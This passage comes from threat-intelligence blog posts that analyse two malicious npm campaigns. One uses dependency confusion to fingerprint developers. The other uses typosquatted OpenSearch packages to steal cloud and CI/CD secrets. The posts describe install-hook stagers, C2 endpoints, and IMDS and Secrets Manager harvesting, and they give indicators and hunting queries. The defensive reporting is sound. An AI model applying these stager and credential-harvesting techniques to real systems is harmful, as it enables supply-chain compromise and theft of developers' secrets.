The RECON_ONLY flag is hard-coded to “1” in the current campaign, indicating the attacker is in Reconnaissance  — collecting environment information, hostnames, installed packages, and developer context. The architecture supports a Full exploitation mode where the flag can be toggled server-side to enable data exfiltration, credential theft, or backdoor installation on previously fingerprinted targets.

This two-phase design is sophisticated: it minimizes the risk of detection during initial deployment while building a target inventory for selective, high-value exploitation later.

Threat actor attribution

Forensic analysis of npm registry metadata across every package in the cluster provides high-confidence evidence that the three accounts (mr.4nd3r50n, ce-rwb, and t-in-one) are operated by the same individual. The single strongest piece of evidence is a shared hardcoded authentication value, l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1, sent as the X-Secret HTTP header on every outbound C2 request from every package in all three accounts.

Figure 5. Side-by-side forensic comparison of the two actor accounts. Every measurable property matches or is nearly identical, providing high-confidence single-operator attribution.

Identical C2 infrastructure

Both accounts’ payloads connect to the exact same C2 server: https://oob.moika[.]tech/payload. Sharing offensive infrastructure across “separate” personas is the strongest single indicator of a single operator. Maintaining separate C2 servers would be trivial, so using the same one indicates the shared infrastructure supports our assessment that the activity is associated with a single operator.

Same publishing toolchain

 mr.4nd3r50n’s early versions (v99.99.99) were published with Node.js 20.20.1 / npm 10.8.2. ce-rwb’s packages were published with Node.js 20.20.0 / npm 10.8.2. t-in-one’s @t-in-one packages were published with Node.js 20.20.1 / npm 10.8.2 — matching mr.4nd3r50n exactly. The minor variance across the three accounts suggests the same machine at slightly different patch levels, or a small set of machines configured from the same provisioning script.

Identical package template generator

Both actors use the exact same templating system for generating fake package metadata:

  • Author: “<Scope-Name> Platform Engineering” <platform@<scope>.io>
  • Repository: git+https://github.<scope>.io/platform/<pkg>.git
  • Documentation: https://docs.<scope>.io/platform/<pkg>
  • Issue tracker: https://jira.<scope>.io/projects/PLATFORM
  • README: Identical structure including a fake “Telemetry” disclaimer and the same changelog entries (“Added ARM64 support”, “Improved error handling”, “Updated TypeScript types”)

 This level of template consistency, down to identical changelog entries across every package, including the @t-in-one README that points developers at a fabricated internal registry at npm.t-in-one[.]io with matching docs.t-in-one[.]io and jira.t-in-one[.]io references — indicates a single automated package generator.

Temporal correlation: 12-minute gap

 mr.4nd3r50n published 26 packages between 18:47–18:51 UTC on May 28. ce-rwb published 7 packages between 19:02–19:03 UTC on May 28 — a 12-minute gap consistent with one person completing one publishing batch, switching npm accounts, and starting the next. t-in-one returned the following day, publishing 10 @t-in-one packages between 09:01:56 and 09:02:39 UTC on May 29 (a 43-second automated burst), with the @capibar.chat and @sber-ecom-core republishes following minutes later. The ~14-hour overnight gap between ce-rwb and t-in-one, paired with the unchanged C2 host and identical X-Secret, indicates the same operator returning to expand the campaign rather than a separate group.

Bug bounty to malware pipeline

The @cloudplatform-single-spa/logaas package reveals a critical piece of the actor’s history:

Figure 7. The actor’s evolution from bug bounty researcher (April 2024) to hosting malware (May 2026), with a ~2 year gap between phases.
  • v0.0.0 (April 10, 2024): Published with keywords [“Bugbounty”, “mr4nd3r50n”] and description “BugBounty testing by mr4nd3r50n” using Node.js 21.7.1 / npm 10.5.0
  • v99.99.99 (June 5, 2024): Same bug bounty markers, same toolchain
  • v99.99.100 (May 28, 2026, 18:47 UTC): First appearance of the malicious obfuscated payload, upgraded to Node.js 24.8.0 / npm 11.6.0
  • v100.100.100 (May 28, 2026, 18:50 UTC): Final malicious version

This timeline shows mr.4nd3r50n began as a  bug bounty researcher probing npm dependency confusion in April 2024 followed by the malicious packages observed in this campaign.y approximately two years later. The ce-rwb account has no prior publishing history, suggesting it was created specifically for the May 2026 campaign as a secondary persona to broaden the attack surface across additional organizational scopes.

Affected packages

mr.4nd3r50n — 26 packages (all version 100.100.100)

All packages use the scope @cloudplatform-single-spa:

PackageDescription
svp-baasDatabase/Backend-as-a-Service
enterpriseEnterprise platform
vpnVPN service
monitoringMonitoring platform
dataplatform-trinoTrino data platform
marketplace-gigachatGigaChat marketplace
supportSupport tools
svp-s3-storageS3 storage service
ml-ai-agents-agentML/AI agents
ssh-keysSSH key management
security-groupsSecurity groups
employeesEmployee directory
cp-api-gwAPI gateway
base-static-pageStatic page framework
administrationAdministration panel
ml-ai-agents-agent-systemAI agent system
arenadata-dbArenaData database
business-solutionsBusiness solutions
dataplatform-metastoreData metastore
cloud-dnsCloud DNS
dataplatformData platform
datagridData grid
floating-ipsFloating IP management
cnapp-uiCNAPP security UI
svp-interfacesSVP interfaces
logaasLogging-as-a-Service

ce-rwb — 7 packages (all version 3.5.22)

PackageScope Targeted
@wb-track/shared-frontWB-Track (warehouse/logistics tracking)
@data-science/llmData Science / LLM platform
@ce-rwb/ce-tools-editor-adminCE-RWB internal editor tools
@ce-rwb/ce-tools-editor-renderCE-RWB internal editor tools
@ce-rwb/ce-tools-editor-coreCE-RWB internal editor tools
@payments-widget/payments-widget-sdkPayments processing SDK
@travel-autotests/npm-protoTravel platform test protobuf

t-in-one — 12 packages (May 29 wave)

t-in-one returned on May 29 with a third npm account, t-in-one (t-in-one@yandex[.]ru), and expanded the campaign across three previously unused scopes. The ten @t-in-one package names are deliberately credential- and token-themed so they read as internal auth modules; @capibar.chat/ui-kit is a textbook dependency confusion artifact against an internal UI kit; and @sber-ecom-core/sberpay-widget directly impersonates Sberbank’s SberPay payment widget — making the campaign’s financial-sector targeting explicit. Unlike the May 28 wave, the May 29 stager ships a three-layer-obfuscated postinstall (~13 KB) and adds a functional T_IN_ONE_NO_TELEMETRY kill switch and a run-once marker directory at ~/.cache/._t-in-one_init/. The C2 host, payload endpoints, and hardcoded X-Secret value are identical to the May 28 wave.

PackageScope Targeted
@t-in-one/add_applicationT-in-one — credential/auth module
@t-in-one/add_app_middleware_tokenT-in-one — credential/auth module
@t-in-one/get_application_hidT-in-one — credential/auth module
@t-in-one/form_product_tokenT-in-one — credential/auth module
@t-in-one/application_id_storage_key_tokenT-in-one — credential/auth module
@t-in-one/only_difference_payloadT-in-one — credential/auth module
@t-in-one/prefill_credit_data_tokenT-in-one — credential/auth module
@t-in-one/prefill_bundle_data_tokenT-in-one — credential/auth module
@t-in-one/add_application_tidT-in-one — credential/auth module
@t-in-one/add_application_service_tokenT-in-one — credential/auth module
@capibar.chat/ui-kitCapibar Chat — internal UI kit
@sber-ecom-core/sberpay-widgetSberbank — impersonation of SberPay payment widget

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of any of the nine affected scoped packages (@cloudplatform-single-spa, @wb-track, @data-science, @ce-rwb, @payments-widget, @travel-autotests, @t-in-one, @capibar.chat, @sber-ecom-core).
  • Identify systems that installed or built any of the affected package versions on or after May 28, 2026, including the pre-staged @capibar.chat/ui-kit 99.0.7 and @sber-ecom-core/sberpay-widget 99.0.7 releases from 2026-05-04.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades for the affected scopes until validation is complete.
  • Disable pre- and post-installation script execution by ensuring you run npm install with –ignore-scripts (or by setting npm config set ignore-scripts true globally).
  • Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed on affected developer workstations or CI/CD runners.
  • Scope-lock internal npm registries by configuring .npmrc so that all nine targeted scopes resolve exclusively to your private registry and never fall back to the public npm registry.
  • Block egress to oob.moika[.]tech and the lure domains npm.t-in-one[.]io, docs.t-in-one[.]io, and jira.t-in-one[.]io at proxy, firewall, and DNS layers.
  • Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity tied to the affected scopes.
  • Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
  • Audit ~/.cache/ directories and os.tmpdir() for dropped .js payloads matching the pattern ._<scope>_init.js (e.g., ._cloudplatform-single-spa_init.js, ._wb-track_init.js, ._t-in-one_init.js) and the run-once marker directory ~/.cache/._t-in-one_init/.
  • Hunt for outbound HTTP requests carrying the header value X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1 — its presence is a high-fidelity indicator of compromise across all three operator accounts.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for affected scoped packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the obfuscated postinstall stager and the detached recon payload on access. During reproduction in our analysis environment, the dropped ._<scope>_init.js stager was automatically quarantined the moment the package tarball was extracted to disk, preventing the C2 beacon to oob.moika[.]tech and blocking the platform-specific second-stage download. Microsoft Defender for Endpoint provides additional behavior-based coverage for the npm lifecycle script-abuse and detached child-process patterns observed in this campaign.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved activityMicrosoft Defender coverage
ExecutionSuspicious script execution during npm install or package lifecycle activity tied to the affected scopesMicrosoft Defender Antivirus
– Trojan:JS/ObfusNpmJs.SA  

Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious detached child process spawned with windowsHide=true
– Suspicious file creation in temporary directory by Node.js binary
Defense EvasionThree-layer-obfuscated postinstall.js (obfuscator.io + custom base64 + integer-shuffle string table) and install-time kill switch (T_IN_ONE_NO_TELEMETRY)Microsoft Defender Antivirus
– Trojan:JS/ObfusNpmJs  

Microsoft Defender for Endpoint
– Suspicious obfuscated JavaScript execution – Anomalous environment variable usage in npm lifecycle script
Credential AccessReconnaissance and potential harvesting of environment variables, tokens, and developer secrets via the detached payloadMicrosoft Defender for Endpoint
– Credential access attempt
– Suspicious cloud credential access by npm-spawned process
– Environment variable enumeration indicative of credential access  

Microsoft Defender for Cloud
– Possible command injection to exfiltrate credentials from a build pipeline
Command and ControlOutbound HTTPS connections from build systems or developer machines to oob.moika[.]tech carrying the hardcoded X-Secret headerMicrosoft Defender for Endpoint
– Connection to a custom network indicator
– Suspicious outbound connection from Node.js process to low-reputation domain
PersistenceRun-once marker directory at ~/.cache/._t-in-one_init/ and ._<scope>_init.js payloads dropped in os.tmpdir() and launched with detached: trueMicrosoft Defender for Endpoint
– Suspicious persistence file creation in user cache directory
– Detached Node.js process surviving parent npm install exit

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Microsoft Defender XDR Threat analytics

Microsoft Defender XDR customers can reference the Threat analytics report for this campaign in the Microsoft Defender portal at https://security.microsoft.com/threatanalytics3 for the latest indicators, recommended actions, and mitigation status across their estate.

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving the affected scopes.

Searches for Node.js and npm activity involving install lifecycle behavior and references to the nine affected scoped packages.

DeviceProcessEvents
 | where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
 | where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
 | where ProcessCommandLine has_any (
     "@cloudplatform-single-spa", "@wb-track", "@data-science",
     "@ce-rwb", "@payments-widget", "@travel-autotests",
     "@t-in-one", "@capibar.chat", "@sber-ecom-core")
 | project Timestamp, DeviceName, FileName, ProcessCommandLine,
           InitiatingProcessFileName, InitiatingProcessCommandLine,
           AccountName

Hunt for affected package versions in software inventory.

Searches device software inventory for any installed packages from the affected scopes.

DeviceTvmSoftwareInventory
 | where SoftwareName has_any (
     "cloudplatform-single-spa", "wb-track", "data-science",
     "ce-rwb", "payments-widget", "travel-autotests",
     "t-in-one", "capibar.chat", "sber-ecom-core")
 | project DeviceName, OSPlatform, SoftwareVendor, SoftwareName,
           SoftwareVersion

Hunt for outbound C2 activity to oob.moika[.]tech.

Searches for any device network connection to the campaign C2 host.

DeviceNetworkEvents
 | where Timestamp > ago(7d)
 | where RemoteUrl has "oob.moika.tech"
    or RemoteUrl has_any ("npm.t-in-one.io", "docs.t-in-one.io",
                          "jira.t-in-one.io")
 | project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort,
           InitiatingProcessFileName, InitiatingProcessCommandLine,
           AccountName

Hunt for suspicious outbound activity from Node.js processes.

Searches for network connections initiated by Node.js or npm processes referencing the affected scopes or node_modules paths.

DeviceNetworkEvents
 | where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
 | where InitiatingProcessCommandLine has_any (
     "@cloudplatform-single-spa", "@wb-track", "@data-science",
     "@ce-rwb", "@payments-widget", "@travel-autotests",
     "@t-in-one", "@capibar.chat", "@sber-ecom-core", "node_modules")
 | project Timestamp, DeviceName, RemoteUrl, RemoteIP,
           InitiatingProcessFileName, InitiatingProcessCommandLine,
           AccountName

Hunt for dropped stager payloads in temp and cache directories.

Searches device file events for the ._<scope>_init.js payload pattern and the May 29 run-once marker directory.

DeviceFileEvents
 | where Timestamp > ago(7d)
 | where FileName matches regex @"^\._.*_init\.js$"
    or FolderPath has_any (
         ".cache/._cloudplatform-single-spa_init",
         ".cache/._wb-track_init",
         ".cache/._t-in-one_init")
 | project Timestamp, DeviceName, FolderPath, FileName, ActionType,
           InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for the campaign-wide X-Secret header in outbound HTTP traffic.

Searches for outbound web traffic carrying the hardcoded X-Secret value used by all three operator accounts (requires TLS decryption or proxy logging that captures request headers or bodies).

DeviceNetworkEvents
 | where Timestamp > ago(7d)
 | where AdditionalFields has "l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1"
    or RemoteUrl has "oob.moika.tech"
 | project Timestamp, DeviceName, RemoteUrl, RemoteIP, AdditionalFields,
           InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for affected dependency references in developer directories.

Searches for package manifest or lockfile activity referencing the affected scoped packages.

DeviceFileEvents
 | where FileName in~ ("package.json", "package-lock.json", "yarn.lock",
                       "pnpm-lock.yaml", ".npmrc")
 | where FolderPath has_any ("node_modules", "src", "repo", "workspace")
 | where AdditionalFields has_any (
     "@cloudplatform-single-spa", "@wb-track", "@data-science",
     "@ce-rwb", "@payments-widget", "@travel-autotests",
     "@t-in-one", "@capibar.chat", "@sber-ecom-core")
 | project Timestamp, DeviceName, FolderPath, FileName,
           InitiatingProcessFileName, InitiatingProcessCommandLine

Indicators of Compromise (IOC)

Actor and network IOCs

IndicatorTypeDescription
mr.4nd3r50nnpm maintainerThreat actor (mr.4nd3r50n) — 26 packages, May 28 wave
ce-rwbnpm maintainerThreat actor (ce-rwb) — 7 packages, May 28 wave
mr.4nd3r50n@yandex[.]ruEmailmr.4nd3r50n contact email
ogvanta@yandex[.]ruEmailce-rwb contact email
t-in-onenpm maintainerThreat actor (t-in-one) — 12 packages across @t-in-one, @capibar.chat, @sber-ecom-core, May 29 wave
t-in-one@yandex[.]ruEmailt-in-one contact email
l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1Shared secretHardcoded X-Secret HTTP header value sent on every outbound C2 request from all three accounts — single-operator attribution marker
npm.t-in-one[.]ioLure domainFabricated internal-registry hostname referenced in @t-in-one README to lend legitimacy
docs.t-in-one[.]io / jira.t-in-one[.]ioLure domainFabricated documentation and issue-tracker hostnames in @t-in-one package metadata
`oob.moika[.]tech`DomainC2 server for payload delivery
`https://oob.moika[.]tech/payload/win`URLWindows payload endpoint
`https://oob.moika[.]tech/payload/mac`URLmacOS payload endpoint
`https://oob.moika[.]tech/payload/linux`URLLinux payload endpoint

File and environment IOCs

IndicatorTypeDescription
`scripts/postinstall.js`FilenameObfuscated stager (~7 KB)
`._cloudplatform-single-spa_init.js`FilenameDropped payload in tmpdir
`._wb-track_init.js`FilenameDropped payload (ce-rwb variant)
`~/.cache/._cloudplatform-single-spa_init/`DirectoryCache/dedup directory
`~/.cache/._wb-track_init/`DirectoryCache/dedup directory (ce-rwb)
`*_RECON_ONLY=1`Env varReconnaissance mode flag
`*_PKG`Env varPackage name identifier
`*_VER`Env varPackage version identifier
`*_SECRET`Env varC2 authentication token
._t-in-one_init.jsFilenameDropped payload in tmpdir — t-in-one (May 29 wave)
~/.cache/._t-in-one_init/DirectoryRun-once marker directory used by the May 29 stager for per-host deduplication
T_IN_ONE_NO_TELEMETRYEnv varFunctional install-time kill switch honored by the May 29 obfuscated stager (the May 28 *_NO_TELEMETRY variables are README fiction only)
X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1HTTP headerHardcoded authentication header sent on every outbound C2 request from all three accounts

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Malicious npm packages abuse dependency confusion to profile developer environments appeared first on Microsoft Security Blog.

Typosquatted npm packages used to steal cloud and CI/CD secrets

Microsoft has identified an active supply chain attack targeting the npm package ecosystem. On May 28, 2026, a single threat actor operating under the newly created maintainer alias vpmdhaj (a39155771@gmail[.]com) published 14 malicious packages within a four-hour window. The packages typosquat well-known OpenSearch, ElasticSearch, DevOps, and environment-configuration libraries, and several spoof the upstream OpenSearch project’s repository URL in their package.json to appear legitimate. Once installed, the packages harvest AWS credentials, HashiCorp Vault tokens, and CI/CD pipeline secrets from the host environment.

All packages in the cluster ship the same install-time stager and the same Bun-compiled second-stage payload – a ~195 KB credential harvester purpose-built for cloud and CI/CD environments. The payload runs silently during npm install and targets credentials across Amazon Web Services, HashiCorp Vault, GitHub Actions, and the npm registry itself, enabling both cloud lateral movement and downstream supply-chain pivoting through stolen npm publish tokens. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution via npm lifecycle hooks, two distinct stager generations (an HTTP-C2 variant and a stealthier variant that abuses the legitimate Bun runtime distribution), AWS Instance Metadata Service (IMDSv2) and ECS task-role theft, AWS Secrets Manager enumeration across 16+ regions, HashiCorp Vault token harvesting, and theft of npm publish tokens for follow-on supply-chain attacks.

Attack chain overview

The vpmdhaj cluster spans 14 scoped and unscoped packages that all mimic the @opensearch / @elastic ecosystem. The attack proceeds through:

  • Publication of 14 typosquat packages under a single actor identity
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain (Gen-1): node -> preinstall.js -> HTTP C2 -> payload.bin (detached)
  • Execution chain (Gen-2): node -> setup.mjs -> download legitimate Bun runtime -> run bundled stage-2
  • Cloud credential theft (AWS IMDS, ECS metadata, Vault, Secrets Manager) and npm publish-token theft for downstream supply-chain pivot
Figure 1. vpmdhaj npm supply chain attack flow.

The lure: typosquats and spoofed metadata

The actor adopted three social-engineering techniques designed to drive installs by mistake or trust transference. First, lookalike naming – names such as opensearch-setup, opensearch-setup-tool, opensearch-config-utility, elastic-opensearch-helper, search-engine-setup, and env-config-manager mimic well-known cluster-management and configuration libraries. Second, spoofed upstream metadata – every unscoped package sets its package.json homepage, repository, and bugs fields to the legitimate github.com/opensearch-project/opensearch-js project. Third, inflated version numbers – releases jump straight to 1.0.7265, 1.0.9108, or 2.1.9201 to suggest a long, mature release history.

Figure 2. npm.js package page for @vpmdhaj/elastic-helper showing the inflated 1.0.7269 version and the spoofed OpenSearch repository link.

Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json. The malicious code executes the moment a victim runs npm install – no require() from victim code is needed. Two stager variants were observed:

  • Gen-1 (versions <= 1.0.7265): install, preinstall, and postinstall hooks all invoke preinstall.js / index.js
  • Gen-2 (versions >= 1.0.7266): a single preinstall hook invokes setup.mjs (newer, stealthier loader)
Figure 3. The malicious package.json. A single preinstall hook is enough to gain code execution on every npm install.

Gen-1 stager: HTTP C2 beacon and payload drop

preinstall.js collects rich host context – hostname, platform, arch, Node version, USER/USERNAME, cwd, INIT_CWD, npm_package_name, npm_package_version – base64-encodes the JSON, and POSTs it to the actor’s C2 with a campaign-unique header X-Supply: 1. The same C2 endpoint then serves a gunzip-compressed second-stage binary, which is written to payload.bin in the package install directory, chmod 0755’d, and spawned detached.

Figure 4. Stage-1 C2 beacon. The X-Supply: 1 header is a high-confidence detection signal in proxy logs.
Figure 5. Stage-2 download, decompression, +x, and detached spawn. __DAEMONIZED=1 lets the payload distinguish itself from npm.

The package’s index.js re-launches the same payload.bin on every subsequent require() of the module – a quiet persistence mechanism that survives across CI build stages and developer rebuild loops. The module also exports a benign-looking object falsely identifying itself as @opensearch/setup.

Figure 6. Persistence shim. The malicious module exports benign-looking metadata and silently re-spawns the payload every time it is require()’d.

Gen-2 stager: abusing the legitimate Bun runtime as a loader

In newer versions, the actor replaced the noisy HTTP-C2 design with a stealthier loader that eliminates the install-time C2 round-trip entirely. setup.mjs (a) checks whether bun is already present on the host; (b) if not, downloads the legitimate Bun runtime v1.3.13 from github.com/oven-sh/bun/releases for the correct platform/arch (Linux x64/musl/aarch64, macOS x64/arm64, Windows x64/arm64); (c) extracts the ZIP using unzip, PowerShell Expand-Archive, or a hand-rolled ZIP parser; and (d) executes the pre-bundled second-stage payload (opensearch_init.js or ai_init.js) that ships inside the npm tarball.

This design reduces visibility for defenders that primarily monitor unusual outbound traffic during package installation.

Figure 7. Gen-2 loader. The actor abuses a legitimate GitHub Release of the Bun runtime to execute a pre-bundled payload that ships inside the npm tarball.

Credential theft

The second-stage binary is a single-file Bun-compiled JavaScript binary of approximately 195 KB, purpose-built for cloud and CI/CD secret theft. Static review of the bundle identifies routines that target secrets across five platforms:

  • AWS: queries EC2 Instance Metadata Service v2 (169.254.169[.]254), Elastic Container Service task metadata (169.254.170[.]2), reads AWS env credentials, calls STS GetCallerIdentity / AssumeRole, and enumerates Secrets Manager (ListSecrets / GetSecretValue) across 16+ regions with a bundled SigV4 signer.
  • HashiCorp Vault: reads VAULT_TOKEN and VAULT_AUTH_TOKEN environment variables.
  • npm: validates tokens through /-/whoami and enumerates publish access through /-/npm/v1/tokens.
  • GitHub Actions: collects GITHUB_REPOSITORY and RUNNER_OS context to identify build environments for prioritized exploitation.
  • CI/CD environment: respects __DAEMONIZED=1 to avoid re-entry, and explicitly resets CI=false to mislead build-aware code paths.
Figure 8. String evidence from the Bun-compiled stage-2 payload. The same binary is dropped by both Gen-1 and Gen-2 stagers.

Impact and blast radius

  • Stolen AWS STS sessions and Secrets Manager material enable cloud lateral movement and data theft.
  • Stolen GitHub Actions tokens enable repo manipulation and CI/CD pipeline tampering.
  • Stolen npm publish tokens enable downstream supply-chain pivoting – pushing malicious updates to packages owned by hijacked maintainer identities, expanding the campaign beyond the initial 14 packages.
  • All 14 packages target the OpenSearch / ElasticSearch ecosystem keywords, suggesting the actor likely chose a developer audience to have AWS and Elastic cloud credentials in their environments.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Identify systems that installed or built affected package versions on or after May 28, 2026.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by running npm install with –ignore-scripts (or setting npm config set ignore-scripts true globally). Apply equivalent settings for pnpm and yarn.
  • Rotate AWS IAM/STS, HashiCorp Vault, npm publish, and GitHub Actions tokens that may have been exposed to affected runners or developer workstations.
  • Block egress to aab.sportsontheweb[.]net at proxy, firewall, and DNS layers. Alert on any HTTP request carrying the header X-Supply: 1.
  • Hunt CloudTrail for anomalous sts:GetCallerIdentity rapidly followed by sts:AssumeRole, and for secretsmanager:ListSecrets or GetSecretValue in cross-region succession from build infrastructure or developer IP space.
  • Audit CI/CD logs for unexpected outbound network connections, Bun runtime downloads from GitHub Releases by Node.js processes, and detached child processes spawned with __DAEMONIZED=1.
  • Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for the affected packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the malicious components on access. During reproduction in our analysis environment, setup.mjs was automatically quarantined the moment the tarball was extracted to disk.

Figure 9. Microsoft Defender auto-quarantine of setup.mjs at extract time.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial Access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
  -Trojan:JS/ShaiWorm
  -Trojan:JS/ObfusNpmJs
  -Backdoor:JS/SupplyChain

Microsoft Defender for Endpoint
  – Suspicious usage of Bun runtime
  – Suspicious installation of Bun runtime
  – Suspicious Node.js process behavior

Microsoft Defender XDR
  – Suspicious file creation in temporary directory by node.exe
  – Suspicious Bun execution from Node.js process
Credential AccessPotential harvesting of AWS, Vault, GitHub Actions, and npm tokens from CI/CD runnersMicrosoft Defender for Endpoint
  – Credential access attempt
  – Suspicious cloud credential access by npm-cached binary
  – AWS Instance Metadata Service access from suspicious process

Microsoft Defender for Cloud
  – Possible IMDS abuse from container workload
  – Anomalous Secrets Manager enumeration across regions
Command and ControlOutbound HTTP beacon with X-Supply: 1 header to attacker-controlled C2Microsoft Defender for Endpoint
  – Connection to a custom network indicator (aab.sportsontheweb[.]net)
  – Suspicious outbound HTTP from npm install context
PersistenceRe-spawn of payload.bin on every require() of compromised packageMicrosoft Defender for Endpoint
  – Detached child process spawned by node.exe with __DAEMONIZED=1

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving vpmdhaj packages.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any (
    "@vpmdhaj", "opensearch-setup", "opensearch-setup-tool",
    "opensearch-config-utility", "opensearch-security-scanner",
    "search-engine-setup", "search-cluster-setup",
    "elastic-opensearch-helper", "vpmdhaj-opensearch-setup",
    "env-config-manager", "app-config-utility")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for the stage-2 payload artifact on disk.

DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName =~ "payload.bin"
| where FolderPath has "node_modules"
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for detached payload execution with the campaign environment marker.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "__DAEMONIZED=1"
   or InitiatingProcessCommandLine has "__DAEMONIZED=1"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for Gen-2 loader: Bun runtime download from GitHub Releases by Node.js.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where RemoteUrl has "github.com/oven-sh/bun/releases/download"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for C2 beacon to attacker infrastructure.

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "aab.sportsontheweb.net"
   or RemoteUrl has "sportsontheweb.net"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for AWS IMDS / ECS metadata access from Node.js processes.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node", "bun.exe", "bun")
| where RemoteIP in ("169.254.169.254", "169.254.170.2")
| project Timestamp, DeviceName, RemoteIP, RemoteUrl,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Indicators of Compromise (IOC)

Affected npm packages – all published by maintainer vpmdhaj on 2026-05-28:

IndicatorTypeDescription
@vpmdhaj/elastic-helper (1.0.7269)PackageTyposquat – ElasticSearch/OpenSearch helper
@vpmdhaj/devops-tools (1.0.7267)PackageTyposquat – DevOps tools / OpenSearch setup
@vpmdhaj/opensearch-setup (1.0.7267)PackageTyposquat – OpenSearch setup utility
@vpmdhaj/search-setup (1.0.7268)PackageTyposquat – search engine setup
opensearch-security-scanner (1.0.10)PackageUnscoped lookalike – security scanner
opensearch-setup (1.0.9103)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-setup-tool (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-config-utility (1.0.9106)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-engine-setup (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-cluster-setup (1.0.9104)PackageUnscoped lookalike – spoofs opensearch-project repo URL
elastic-opensearch-helper (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
